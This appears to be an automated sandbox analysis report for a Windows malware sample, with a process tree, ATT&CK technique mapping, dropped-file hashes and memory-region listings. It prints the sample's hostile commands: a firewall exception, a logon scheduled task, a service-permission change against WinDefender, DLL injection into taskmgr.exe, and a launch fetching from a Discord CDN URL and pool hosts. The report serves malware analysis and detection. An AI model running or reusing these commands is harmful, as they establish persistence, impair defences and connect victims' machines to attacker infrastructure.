PID 376 wrote to memory of 4180	376	cmd.exe	83
PID 376 wrote to memory of 4180	376	cmd.exe	83
PID 4612 wrote to memory of 4732	4612	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe	84
PID 4612 wrote to memory of 4732	4612	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe	84
PID 4612 wrote to memory of 4732	4612	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe	84
PID 4612 wrote to memory of 2804	4612	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe	86
PID 4612 wrote to memory of 2804	4612	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe	86
PID 4612 wrote to memory of 2804	4612	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe	86
PID 4612 wrote to memory of 3988	4612	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe	88
PID 4612 wrote to memory of 3988	4612	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe	88
PID 4612 wrote to memory of 3988	4612	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe	88
PID 3988 wrote to memory of 2848	3988	csrss.exe	89
PID 3988 wrote to memory of 2848	3988	csrss.exe	89
PID 3988 wrote to memory of 2848	3988	csrss.exe	89
PID 3988 wrote to memory of 2476	3988	csrss.exe	95
PID 3988 wrote to memory of 2476	3988	csrss.exe	95
PID 3988 wrote to memory of 2476	3988	csrss.exe	95
PID 3988 wrote to memory of 4464	3988	csrss.exe	98
PID 3988 wrote to memory of 4464	3988	csrss.exe	98
PID 3988 wrote to memory of 4464	3988	csrss.exe	98
PID 3988 wrote to memory of 440	3988	csrss.exe	100
PID 3988 wrote to memory of 440	3988	csrss.exe	100
PID 3464 wrote to memory of 4720	3464	windefender.exe	107
PID 3464 wrote to memory of 4720	3464	windefender.exe	107
PID 3464 wrote to memory of 4720	3464	windefender.exe	107
PID 4720 wrote to memory of 1204	4720	cmd.exe	108
PID 4720 wrote to memory of 1204	4720	cmd.exe	108
PID 4720 wrote to memory of 1204	4720	cmd.exe	108
PID 3988 wrote to memory of 2216	3988	csrss.exe	110
PID 3988 wrote to memory of 2216	3988	csrss.exe	110
PID 3988 wrote to memory of 2216	3988	csrss.exe	110
PID 3988 wrote to memory of 3004	3988	csrss.exe	112
PID 3988 wrote to memory of 3004	3988	csrss.exe	112
PID 3988 wrote to memory of 3004	3988	csrss.exe	112
PID 3988 wrote to memory of 4932	3988	csrss.exe	114
PID 3988 wrote to memory of 4932	3988	csrss.exe	114
PID 3988 wrote to memory of 4932	3988	csrss.exe	114
PID 3988 wrote to memory of 4268	3988	csrss.exe	116
PID 3988 wrote to memory of 4268	3988	csrss.exe	116
PID 3988 wrote to memory of 4268	3988	csrss.exe	116
PID 3988 wrote to memory of 1288	3988	csrss.exe	118
PID 3988 wrote to memory of 1288	3988	csrss.exe	118
PID 3988 wrote to memory of 1288	3988	csrss.exe	118
PID 3988 wrote to memory of 4200	3988	csrss.exe	120
PID 3988 wrote to memory of 4200	3988	csrss.exe	120
PID 3988 wrote to memory of 4200	3988	csrss.exe	120

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
"C:\Users\Admin\AppData\Local\Temp\cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4684
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell -nologo -noprofile
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2664
- C:\Users\Admin\AppData\Local\Temp\cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
  "C:\Users\Admin\AppData\Local\Temp\cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe"
  2⤵
  - Windows security bypass
  - Windows security modification
  - Adds Run key to start application
  - Checks for VirtualBox DLLs, possible anti-VM trick
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4612
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    - Drops file in System32 directory
    - Command and Scripting Interpreter: PowerShell
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4956
- - C:\Windows\System32\cmd.exe
    C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:376
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      PID:4180
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    - Drops file in System32 directory
    - Command and Scripting Interpreter: PowerShell
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4732
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    - Drops file in System32 directory
    - Command and Scripting Interpreter: PowerShell
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2804
- - C:\Windows\rss\csrss.exe
    C:\Windows\rss\csrss.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Manipulates WinMonFS driver.
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3988
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Command and Scripting Interpreter: PowerShell
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2848
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
      4⤵
      Creates scheduled task(s)
      PID:708
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /delete /tn ScheduledUpdate /f
      4⤵
      PID:2264
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Command and Scripting Interpreter: PowerShell
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2476
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Command and Scripting Interpreter: PowerShell
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4464
  - - C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:440
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
      4⤵
      Creates scheduled task(s)
      PID:1576
  - - C:\Windows\windefender.exe
      "C:\Windows\windefender.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:3464
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4720
      - C:\Windows\SysWOW64\sc.exe
        
        sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        6⤵
        Launches sc.exe
        Suspicious use of AdjustPrivilegeToken
        
        PID:1204
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Command and Scripting Interpreter: PowerShell
      Modifies data under HKEY_USERS
      Suspicious use of AdjustPrivilegeToken
      PID:2216
  - - C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe -xor=al2xoqueel0She4t -m=https://cdn.discordapp.com/attachments/1225871855328559147/1225878907014615161/kVYazCOZSwqudV?ex=6622bbb3&is=661046b3&hm=c80160577fcc82f0e337c537bdd214d60583ed75bb187a016d90f94471fc09b0& -pool tls://showlock.net:40001 -pool tls://showlock.net:443 -pool tcp://showlock.net:80
      4⤵
      Executes dropped EXE
      PID:3004
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Command and Scripting Interpreter: PowerShell
      Modifies data under HKEY_USERS
      Suspicious use of AdjustPrivilegeToken
      PID:4932
  - - C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
      4⤵
      Executes dropped EXE
      PID:4268
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Command and Scripting Interpreter: PowerShell
      Modifies data under HKEY_USERS
      Suspicious use of AdjustPrivilegeToken
      PID:1288
  - - C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
      4⤵
      Executes dropped EXE
      PID:4200

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:1444

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_o3emfnb3.rcn.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe

Filesize
2.0MB

MD5
1bf850b4d9587c1017a75a47680584c4

SHA1
75cd4738ffc07f203c3f3356bc946fdd0bcdbe19

SHA256
ac470c2fa05a67dd03cdc427e9957e661cd0ec7aecd9682ddb0b32c5cfc18955

SHA512
ed57be8c5a982bcbf901c2b035eb010e353508e7c7df338adc6e5c307e94427645e5f5ec28667fd861420b9411b4ade96ea6987519ed65e6c1d905b6eadfce08

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe

Filesize
2.8MB

MD5
713674d5e968cbe2102394be0b2bae6f

SHA1
90ac9bd8e61b2815feb3599494883526665cb81e

SHA256
f724b2849e7dc38bf62114c11092020073bea509e2bc57dea7a94a2fc9c23057

SHA512
e9fba80067ac39d5907560abd044bb97dfcf078db2b6696ff4ca5990d9803a0c24b39d04e05682ac3dac8bc472e2ee0c573a46514e907f4d9673d4e7a76caafb

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe

Filesize
2.0MB

MD5
dcb505dc2b9d8aac05f4ca0727f5eadb

SHA1
4f633edb62de05f3d7c241c8bc19c1e0be7ced75

SHA256
61f9194b9f33611ec902f02755cf2e86f0bbc84c2102c6e5d1874f9bae78e551

SHA512
31e1fce9aca3b5d9afc85640af04b4542b9897f7d60b699e3153516137d9358d3c101cacc04e9e594e36b8622e9489cecf0dda210662563565d80fb9a33549b3

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe

Filesize
281KB

MD5
d98e33b66343e7c96158444127a117f6

SHA1
bb716c5509a2bf345c6c1152f6e3e1452d39d50d

SHA256
5de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1

SHA512
705275e4a1ba8205eb799a8cf1737bc8ba686925e52c9198a6060a7abeee65552a85b814ac494a4b975d496a63be285f19a6265550585f2fc85824c42d7efab5

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
1c19c16e21c97ed42d5beabc93391fc5

SHA1
8ad83f8e0b3acf8dfbbf87931e41f0d664c4df68

SHA256
1bcd97396c83babfe6c5068ba590d7a3f8b70e72955a9d1e4070648e404cbf05

SHA512
7d18776d8f649b3d29c182ff03efc6cea8b527542ee55304980f24577aae8b64e37044407776e220984346c3998ace5f8853afa58c8b38407482a728e9495e0c

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
3554304f791abca52c01f7da3a0e0301

SHA1
9995f7577fad5e300070424806a1f4dc452b7c70

SHA256
effd8bd2200ad9fa38baeba489bd5b20e173b57ec1cdb7c4281f84298287f817

SHA512
e137f2ca0de17a413d25bc353195294c78dadef73f37746980b1b244551eb14940296e44fa6aa39121debf9c6929d67a4704fca08320f24389dca2a56534f976

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
990960995522916cf3ac60dc4eac1846

SHA1
499127eb851cd997c9a4d482de2fe68a589d644d

SHA256
f8e5b7277a8661a8a05d6b3c7b2fe119f7f8ad0b380e0236373d90af041bb6ee

SHA512
739f7c7061727f2943424fa0be9df583dfdf09bc20285317cc90a20fb30fcb6c7e3c5eb750d6de62fbcf4455bf99e5f49ad03a2689b0a5c196c54f4a35dae4d2

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
0d7d6f2dcbcd2881375b62f98b1ff6fc

SHA1
41b881a628f3d737811bc65212eaa7aef47cdafa

SHA256
d865f6b07b800ef26c05cb1d4a376e6dfee2f66bafccb9ad14987300f19596ad

SHA512
ed62c79788ab19e97bb712ea8ee74e2f997e6c546afe93aa769df18bbfbbba5a71e4b27a8c81c8f44de8fe64c4d520b241fa2aa978d8c50f49527d8c9a220a64

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
acb638f819bd33d08977ecba6f1e9223

SHA1
a07540118b53150af253a533e2684a0db449e066

SHA256
885974a2630af01d1dc45bc10cd47ad1f0d72c1b6b74393859977d7da56339de

SHA512
bd8b5274ee3a4fa41922a3a27e41a1e1f1432633e27ee414a6b0d29a4fd95d900e555e416690da5c24ab71f2dc333aaac8664f8b4a125c1a483582ae2b03d373

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
5375ec272aec3725eed165a0b61d4a76

SHA1
061b057b4cf2e64596be27308cde99ff23b84df8

SHA256
cbafebd45b671b70875f904ed47cd8d272d1c10fc38f062fc66b4f11849a6b2f

SHA512
94d2d8e9fa4d4ba731029e3431a8384ef67c155a38198f3f81c259287229e2e1ab4566463008c3320f16d777711c472dc6880a431a335aa2c6c139eecb16aee4

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
60f7b741faf90903e8cd199450390980

SHA1
c57debff71bac747f1e4a03e3ad1b85e742504ef

SHA256
2bba3d587a3a8002b7f876e137ab565f3b294d314276dca98ef6fe90642dda1a

SHA512
4a02d48ee6e078166d59c4066a40848f9d1ac25c8b8c3c1892271da56501af6e60b7066b4911cd73268764c3f3e897cab72c270bcf2aa34fe33d0c46652b139f

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
374ae64ea5029576d67f52f66c206c55

SHA1
f0e856c849a37c8c6c9bd403e8a003f296e01449

SHA256
d88364798433e8486f4972007c517bfc16fb61ba3c743b1a17ba7abee80197b0

SHA512
d3e0dcfa055ce8ea62daf9d5ad13bf32b2e880eb3820e6180cc80929f9b5da3370ada1e30f4ed3a404a60e43a1e335ec9233b0c9388847a34c0f9f7f62e28c9e

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
d78bc52ae3fa79f99449a33243b20227

SHA1
a969a7ff3b4ca052adb60918589d86189d9f2fab

SHA256
740072d55cbacf368fdfaa03d9f01649ca21fab04dff5c9fe55b7b57f9c79e82

SHA512
72acb8f4be8544ded9e87dce96a5a1200b7df45b3580dda70ae36b94ee727b7a544e37f6c99adc53ecf905a3971f612fc3ee418c49d74798f6eaaccffa891929

Download Submit
C:\Windows\rss\csrss.exe

Filesize
4.2MB

MD5
d47ca66ba7aa9afbec1124eb60dc771b

SHA1
789ec5af20b95c1ed3f62f9616440070d996bbad

SHA256
cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b

SHA512
7d03d5a19812788f7ab4e4efe3be8a3cf2b28ac77a0decbdc58f7822d7ea8d65f0c0e5f1e8822a0e37ca7e59b417a086e6c94b873c199c3abc2600490b319068

Download Submit
C:\Windows\windefender.exe

Filesize
2.0MB

MD5
8e67f58837092385dcf01e8a2b4f5783

SHA1
012c49cfd8c5d06795a6f67ea2baf2a082cf8625

SHA256
166ddb03ff3c89bd4525ac390067e180fdd08f10fbcf4aadb0189541673c03fa

SHA512
40d8ae12663fc1851e171d9d86cea8bb12487b734c218d7b6f9742eb07d4ca265065cbd6d0bb908f8bda7e3d955c458dfe3fd13265bbf573b9351e0a2bf691ec

Download Submit
memory/1288-2314-0x0000000070570000-0x00000000708C0000-memory.dmp

Filesize
3.3MB

Download
memory/1288-2293-0x0000000007590000-0x00000000078E0000-memory.dmp

Filesize
3.3MB

Download
memory/1288-2313-0x0000000070520000-0x000000007056B000-memory.dmp

Filesize
300KB

Download
memory/1444-1767-0x0000000000400000-0x00000000008DF000-memory.dmp

Filesize
4.9MB

Download
memory/1444-1763-0x0000000000400000-0x00000000008DF000-memory.dmp

Filesize
4.9MB

Download
memory/1444-1759-0x0000000000400000-0x00000000008DF000-memory.dmp

Filesize
4.9MB

Download
memory/2216-1830-0x0000000009D70000-0x0000000009E15000-memory.dmp

Filesize
660KB

Download
memory/2216-1825-0x0000000070590000-0x00000000708E0000-memory.dmp

Filesize
3.3MB

Download
memory/2216-1803-0x0000000008110000-0x0000000008460000-memory.dmp

Filesize
3.3MB

Download
memory/2216-1824-0x0000000070520000-0x000000007056B000-memory.dmp

Filesize
300KB

Download
memory/2216-1805-0x0000000008CC0000-0x0000000008D0B000-memory.dmp

Filesize
300KB

Download
memory/2476-1274-0x0000000008A70000-0x0000000008ABB000-memory.dmp

Filesize
300KB

Download
memory/2476-1294-0x0000000070660000-0x00000000709B0000-memory.dmp

Filesize
3.3MB

Download
memory/2476-1299-0x0000000009C50000-0x0000000009CF5000-memory.dmp

Filesize
660KB

Download
memory/2476-1272-0x00000000080F0000-0x0000000008440000-memory.dmp

Filesize
3.3MB

Download
memory/2476-1293-0x0000000070610000-0x000000007065B000-memory.dmp

Filesize
300KB

Download
memory/2664-66-0x00000000091D0000-0x0000000009246000-memory.dmp

Filesize
472KB

Download
memory/2664-73-0x0000000009FF0000-0x000000000A023000-memory.dmp

Filesize
204KB

Download
memory/2664-6-0x000000007393E000-0x000000007393F000-memory.dmp

Filesize
4KB

Download
memory/2664-299-0x0000000073930000-0x000000007401E000-memory.dmp

Filesize
6.9MB

Download
memory/2664-281-0x000000000A190000-0x000000000A198000-memory.dmp

Filesize
32KB

Download
memory/2664-276-0x000000000A1B0000-0x000000000A1CA000-memory.dmp

Filesize
104KB

Download
memory/2664-83-0x000000000A250000-0x000000000A2E4000-memory.dmp

Filesize
592KB

Download
memory/2664-82-0x000000000A030000-0x000000000A0D5000-memory.dmp

Filesize
660KB

Download
memory/2664-74-0x0000000070640000-0x000000007068B000-memory.dmp

Filesize
300KB

Download
memory/2664-7-0x0000000004860000-0x0000000004896000-memory.dmp

Filesize
216KB

Download
memory/2664-9-0x0000000007530000-0x0000000007B58000-memory.dmp

Filesize
6.2MB

Download
memory/2664-14-0x0000000007D40000-0x0000000008090000-memory.dmp

Filesize
3.3MB

Download
memory/2664-75-0x0000000073930000-0x000000007401E000-memory.dmp

Filesize
6.9MB

Download
memory/2664-8-0x0000000073930000-0x000000007401E000-memory.dmp

Filesize
6.9MB

Download
memory/2664-76-0x0000000070690000-0x00000000709E0000-memory.dmp

Filesize
3.3MB

Download
memory/2664-10-0x0000000073930000-0x000000007401E000-memory.dmp

Filesize
6.9MB

Download
memory/2664-11-0x00000000071E0000-0x0000000007202000-memory.dmp

Filesize
136KB

Download
memory/2664-13-0x00000000073F0000-0x0000000007456000-memory.dmp

Filesize
408KB

Download
memory/2664-12-0x0000000007380000-0x00000000073E6000-memory.dmp

Filesize
408KB

Download
memory/2664-77-0x0000000009FD0000-0x0000000009FEE000-memory.dmp

Filesize
120KB

Download
memory/2664-35-0x0000000009110000-0x000000000914C000-memory.dmp

Filesize
240KB

Download
memory/2664-16-0x00000000080A0000-0x00000000080EB000-memory.dmp

Filesize
300KB

Download
memory/2664-15-0x0000000007C00000-0x0000000007C1C000-memory.dmp

Filesize
112KB

Download
memory/2804-804-0x0000000070760000-0x00000000707AB000-memory.dmp

Filesize
300KB

Download
memory/2804-805-0x00000000707B0000-0x0000000070B00000-memory.dmp

Filesize
3.3MB

Download
memory/2848-1057-0x0000000009500000-0x00000000095A5000-memory.dmp

Filesize
660KB

Download
memory/2848-1052-0x0000000070710000-0x0000000070A60000-memory.dmp

Filesize
3.3MB

Download
memory/2848-1051-0x00000000705C0000-0x000000007060B000-memory.dmp

Filesize
300KB

Download
memory/2848-1032-0x0000000008140000-0x000000000818B000-memory.dmp

Filesize
300KB

Download
memory/2848-1030-0x0000000007BF0000-0x0000000007F40000-memory.dmp

Filesize
3.3MB

Download
memory/3004-2052-0x0000000000400000-0x00000000008E1000-memory.dmp

Filesize
4.9MB

Download
memory/3004-2047-0x0000000000400000-0x00000000008E1000-memory.dmp

Filesize
4.9MB

Download
memory/3464-1757-0x0000000000400000-0x00000000008DF000-memory.dmp

Filesize
4.9MB

Download
memory/3464-1761-0x0000000000400000-0x00000000008DF000-memory.dmp

Filesize
4.9MB

Download
memory/3988-1752-0x0000000000400000-0x0000000001E01000-memory.dmp

Filesize
26.0MB

Download
memory/3988-1796-0x0000000000400000-0x0000000001E01000-memory.dmp

Filesize
26.0MB

Download
memory/3988-1764-0x0000000000400000-0x0000000001E01000-memory.dmp

Filesize
26.0MB

Download
memory/3988-1766-0x0000000000400000-0x0000000001E01000-memory.dmp

Filesize
26.0MB

Download
memory/3988-2547-0x0000000000400000-0x0000000001E01000-memory.dmp

Filesize
26.0MB

Download
memory/3988-1768-0x0000000000400000-0x0000000001E01000-memory.dmp

Filesize
26.0MB

Download
memory/3988-1770-0x0000000000400000-0x0000000001E01000-memory.dmp

Filesize
26.0MB

Download
memory/3988-1772-0x0000000000400000-0x0000000001E01000-memory.dmp

Filesize
26.0MB

Download
memory/3988-1774-0x0000000000400000-0x0000000001E01000-memory.dmp

Filesize
26.0MB

Download
memory/3988-1776-0x0000000000400000-0x0000000001E01000-memory.dmp

Filesize
26.0MB

Download
memory/3988-1778-0x0000000000400000-0x0000000001E01000-memory.dmp

Filesize
26.0MB

Download
memory/3988-1780-0x0000000000400000-0x0000000001E01000-memory.dmp

Filesize
26.0MB

Download
memory/3988-1782-0x0000000000400000-0x0000000001E01000-memory.dmp

Filesize
26.0MB

Download
memory/3988-1784-0x0000000000400000-0x0000000001E01000-memory.dmp

Filesize
26.0MB

Download
memory/3988-1786-0x0000000000400000-0x0000000001E01000-memory.dmp

Filesize
26.0MB

Download
memory/3988-1788-0x0000000000400000-0x0000000001E01000-memory.dmp

Filesize
26.0MB

Download
memory/3988-1790-0x0000000000400000-0x0000000001E01000-memory.dmp

Filesize
26.0MB

Download
memory/3988-1792-0x0000000000400000-0x0000000001E01000-memory.dmp

Filesize
26.0MB

Download
memory/3988-1794-0x0000000000400000-0x0000000001E01000-memory.dmp

Filesize
26.0MB

Download
memory/3988-1762-0x0000000000400000-0x0000000001E01000-memory.dmp

Filesize
26.0MB

Download
memory/3988-1798-0x0000000000400000-0x0000000001E01000-memory.dmp

Filesize
26.0MB

Download
memory/3988-1800-0x0000000000400000-0x0000000001E01000-memory.dmp

Filesize
26.0MB

Download
memory/3988-2530-0x0000000000400000-0x0000000001E01000-memory.dmp

Filesize
26.0MB

Download
memory/3988-2535-0x0000000000400000-0x0000000001E01000-memory.dmp

Filesize
26.0MB

Download
memory/3988-2539-0x0000000000400000-0x0000000001E01000-memory.dmp

Filesize
26.0MB

Download
memory/3988-2543-0x0000000000400000-0x0000000001E01000-memory.dmp

Filesize
26.0MB

Download
memory/4200-2548-0x0000000000400000-0x00000000008E8000-memory.dmp

Filesize
4.9MB

Download
memory/4200-2544-0x0000000000400000-0x00000000008E8000-memory.dmp

Filesize
4.9MB

Download
memory/4200-2536-0x0000000000400000-0x00000000008E8000-memory.dmp

Filesize
4.9MB

Download
memory/4200-2531-0x0000000000400000-0x00000000008E8000-memory.dmp

Filesize
4.9MB

Download
memory/4268-2546-0x0000000001290000-0x0000000001B5D000-memory.dmp

Filesize
8.8MB

Download
memory/4268-2542-0x0000000001290000-0x0000000001B5D000-memory.dmp

Filesize
8.8MB

Download
memory/4268-2538-0x0000000001290000-0x0000000001B5D000-memory.dmp

Filesize
8.8MB

Download
memory/4268-2534-0x0000000001290000-0x0000000001B5D000-memory.dmp

Filesize
8.8MB

Download
memory/4268-2290-0x0000000001290000-0x0000000001B5D000-memory.dmp

Filesize
8.8MB

Download
memory/4464-1534-0x0000000070660000-0x00000000709B0000-memory.dmp

Filesize
3.3MB

Download
memory/4464-1533-0x0000000070610000-0x000000007065B000-memory.dmp

Filesize
300KB

Download
memory/4612-1025-0x0000000000400000-0x0000000001E01000-memory.dmp

Filesize
26.0MB

Download
memory/4684-3-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/4684-2-0x0000000003E10000-0x00000000046FB000-memory.dmp

Filesize
8.9MB

Download
memory/4684-300-0x0000000000400000-0x0000000001E01000-memory.dmp

Filesize
26.0MB

Download
memory/4684-303-0x0000000003E10000-0x00000000046FB000-memory.dmp

Filesize
8.9MB

Download
memory/4684-1-0x0000000002170000-0x000000000256A000-memory.dmp

Filesize
4.0MB

Download
memory/4684-302-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/4732-545-0x0000000007E50000-0x00000000081A0000-memory.dmp

Filesize
3.3MB

Download
memory/4732-566-0x00000000707D0000-0x0000000070B20000-memory.dmp

Filesize
3.3MB

Download
